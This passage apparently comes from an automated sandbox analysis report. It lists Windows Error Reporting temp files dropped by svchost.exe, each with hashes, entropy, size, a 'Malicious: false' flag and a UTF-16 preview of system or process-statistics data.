Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER50D0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698615098146878
Encrypted:	false
SSDEEP:	96:TiZYWgcNlQvYMYvScWH1YEZg/KtriL+uyfwc+WBNaml4BMj0ZIv3F:2ZD5obi//INamlUMj0Gv3F
MD5:	343A7A7AAFE93ECA85AD11052A247D78
SHA1:	574917BE90D0E17775B4ABE07A527EDFAA02AB20
SHA-256:	9F89A50BC6C06153D2EAB61E92F412741F5553B212A1B1489B616E6ED0DDCD52
SHA-512:	AF262012C7F647B15D06C0D4B33BDD51C26F8E32FC7B63191D3A5F2CCF794E3591D043F4CFC1F251DE509E164AE337818E8D59ECF15D5C79F371E9B88871D741
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E4.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	91978
Entropy (8bit):	3.0190098646595165
Encrypted:	false
SSDEEP:	1536:AColGmgV2SAzRFJOajuPDzuUWnysm5BmSXW+B+b+f+Z+a+E+4+i+V+0To+Ivqvll:AColGmgV2SAzRFJOajuPDzuUWnysm5Bz
MD5:	C3DEBF3AE97F08818A1D181894317848
SHA1:	A52430F74FD1C1BCAF77C67F51B8993BB0AE7EF5
SHA-256:	2CB7F4682FF24CF4CC217CBF110F455AB0F920C865C2395488E74EED6E336635
SHA-512:	55CA4A487F29ED677E8E76C86C909468629290D41C73EFB74D3E818EA79ABED60C220950D408BA7A696C0E5E6A4FFCDB984EBC505D5FFF348C41A7D7CCE32D1D
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5371.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.698992216251179
Encrypted:	false
SSDEEP:	96:TiZYW25p9ZY4YtBS5uH1YEZQ/E0triE+kyfwL+zBYvablHM508Im3F:2ZDS/KC/3kyablHM507m3F
MD5:	B68FA931E23F09BEF705CE4E33A22383
SHA1:	7515698C6A8E2DC510AAE7F577D2CF59D2F9B475
SHA-256:	CFF3134B54A25A281F768E210E4D4F231848F8FAAC164EDDFFE2126195879A94
SHA-512:	7B62B2696F80A69D53279E89358AA4A473CF7E91224719C7E9639CC78EC7DD99A0329D18D4F1C685A51C75547895BE4C94A7D71D95F2FAF856EFFDF78E20B40B
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5743.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694633237880159
Encrypted:	false
SSDEEP:	96:TiZYW9vw7l4SYgYaWlRHGYEZ3dtFiT3dypw2EyeaCl5HMS05lIa35D:2ZD9YR3G6x7eaClZMS00a3d
MD5:	B264BB47BCE551E83BC170965016AED3
SHA1:	53631A50C84B671CC21C5E96919839754664A86B
SHA-256:	AAF7A1FFC0D394484473845859A37846E616A042ED2B23E1542FF817DD21EE75
SHA-512:	9B8C576AC95F2F416C04ED4590451EF59F12FBC6942BC01408B728458986C218F81FE4F6BEAE2C1488F3C49B593FF21DC019C47E4783333255C4E53BFE05784F
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA37F.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	103944
Entropy (8bit):	3.0153167025435663
Encrypted:	false
SSDEEP:	3072:7Yz5Iy30srwnGIeblJWPj+YJvVCf41tS9KKai+0+C+y+d+S+Z+4+bn+O+w8+CvBz:u
MD5:	3ACEF517D45E9461EFA01635DF714120
SHA1:	47FC91732EECED86A7BA9FF87A77D18529AE0845
SHA-256:	8EFC80632700084FB3AFE1C3FF826D8BD83D3F7B969D883D8412E4884CC760FB
SHA-512:	ED6072E35EF5846380050C70A385A463B0419638C64BF61481788F3DF406E5AF826EBBF2F093C7FE1D6106178CE5D3106BDC2210EAF55342124B177C2234EDA9
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA8C0.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6946476540667743
Encrypted:	false
SSDEEP:	96:TiZYW9CJMRl4lYOY+WRudcHhYEZSBHltFid3kySwoZl9aNalKlYMH0BI0N3F:2ZD9Ckqpmu9n79maAlYMH0++3F
MD5:	75D593D669C982FC2AD54D1EB964B6C2
SHA1:	2939143B1ED608B4E5EFC012868C321D036330E1
SHA-256:	A8FFE785A20C3323E52F39AF548D76B71087FB589E2C140172C2D7DFDF20694F
SHA-512:	C4851DE25295DA02E4D0952818FE2C61FF7CC3E6142DE215F9CB9C4F87CAE7A449E4B30591B6D8759DBE6A62594A0F704A5402BD9A72AC406DF9E86B4D5BE713
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB3FC.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	102256
Entropy (8bit):	3.0156700393207942
Encrypted:	false
SSDEEP:	3072:2ZI66Eg8w7bouUPCc4Vo0IIC8YQaU+Z+us+M+A+v+Q+e+2+L++s+Xv2vbk+o+z+d:L
MD5:	000B2F0879E3CDB35DAA7F560BB97D99
SHA1:	E056B0E65C3D1A564CF75B8F3D62008CF7E52477
SHA-256:	B38F5B17119B074E000FF03690474012E78FD69C6401DEF6F5F8288C696229E2
SHA-512:	72B405465142A6324E856B435059CE5A2C184B1FD0DEE0D6E1D7B175B55228DECDAEF9C4EBA599FC0CC1B2452E2B21E4BD4780C1A2BA0FE2A3EA802C96434FDD
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB4B8.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6946477161129407
Encrypted:	false
SSDEEP:	96:TiZYW9mxzTy6YvYrWLGPHmYEZSHvBtFiz3eyrw8WVT+mDNaSlzME0YKI73F:2ZD9m4pGhBwmBaSlzME0Q73F
MD5:	6C0FF9B38771E0B5D6CBA0F4FEE66E90
SHA1:	94AAA549550B25B714770E69714C577F76E3634A
SHA-256:	DCDBAFB2F5F3C04A3760BC523B79A3FB091A9A6274FE9252B7E9524F5679B02E
SHA-512:	01E1F05EC5F29E19F9DAEA75603C33B9357C3449961678C4FD2C429BD31E07C914E97691EC989A178B2AFE6F43976811BAB9D08C97898DFEC7FF53B6907ED9E3
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB57.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	87150
Entropy (8bit):	3.0232733489976296
Encrypted:	false
SSDEEP:	1536:X8COrXLqPxoP/+oG+ZGBXE7ca4+G+C+M+Me+W+f+6+C+j+qQ+Gviv0A+D+Q+p+C8:X8COrXLqPxoP/+oG+ZGBXE7ca4+G+C+u
MD5:	3BC92A1A377986916FC904C3079AC5D0
SHA1:	D0EE703809A639FF77FB25A3912A973FA5CBEDCD
SHA-256:	26D3262A27A6EF2FD338A35BA7B2AA5CEFCF46A90A18CFBBE13DFA86B9001DDF
SHA-512:	E815AEA9ACAC12F74E83EEAB878497268EA63A54EE22C9C51C2930C29D5019CC8EEAF62665357485D87996EA4C912A3703B0CD4F20CF56CB3A6D1AD845123E1A
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBB6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697306470565094
Encrypted:	false
SSDEEP:	96:TiZYWFpbAmDYhYeSBGHOYEZzetriMMYyvwnJYYjaxleMo0KIf3F:2ZDLmgB+JDaxleMo09f3F
MD5:	2612CD0808DC5770FF36FF51BD209D61
SHA1:	9B06991D875868BE93589D4CF3DA305EC206D992
SHA-256:	797B3DE5D8C6CFA9E6D6FCA355DA11F931023B8BFF2B202C60233E64349A258D
SHA-512:	7E96914E73E132470E4608BB981AF08C79904B6CCD8E2480FBCD16422E6D59DB4BF07AB313A1B11EFA1CE176C209342EEBBDA4EA3E3D7807E9CE0F3D4BDDBCC2
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERED3E.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	88160
Entropy (8bit):	3.025773900052158
Encrypted:	false
SSDEEP:	1536:I4I/RXaaY/PxZzq+3kXp7x1a4+G+C+M+Me+W+f+6+C+j+qQ+Gviv0A+D+Q+p+C+V:I4I/RXaaY/PxZzq+3kXp7x1a4+G+C+MZ
MD5:	A7959A56F68C807C3BE0F885E1A1821B
SHA1:	2E159FFF3B84D3E6A7AB70F386CB54C6C5A8AB63
SHA-256:	5A6B2FC583A2F97156A76CBDE19076F75CDD5FF49060EEEF30EF3D72CFD1B92B
SHA-512:	1D2344C709D70F5F542682B02ADF6258623E56AE1F97EEBB2391036FBAE5DB43FA6A5DB0020E6CB0BA3CC460886BF1CA558291A1A08B8A0BC343385EE171F2E6
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.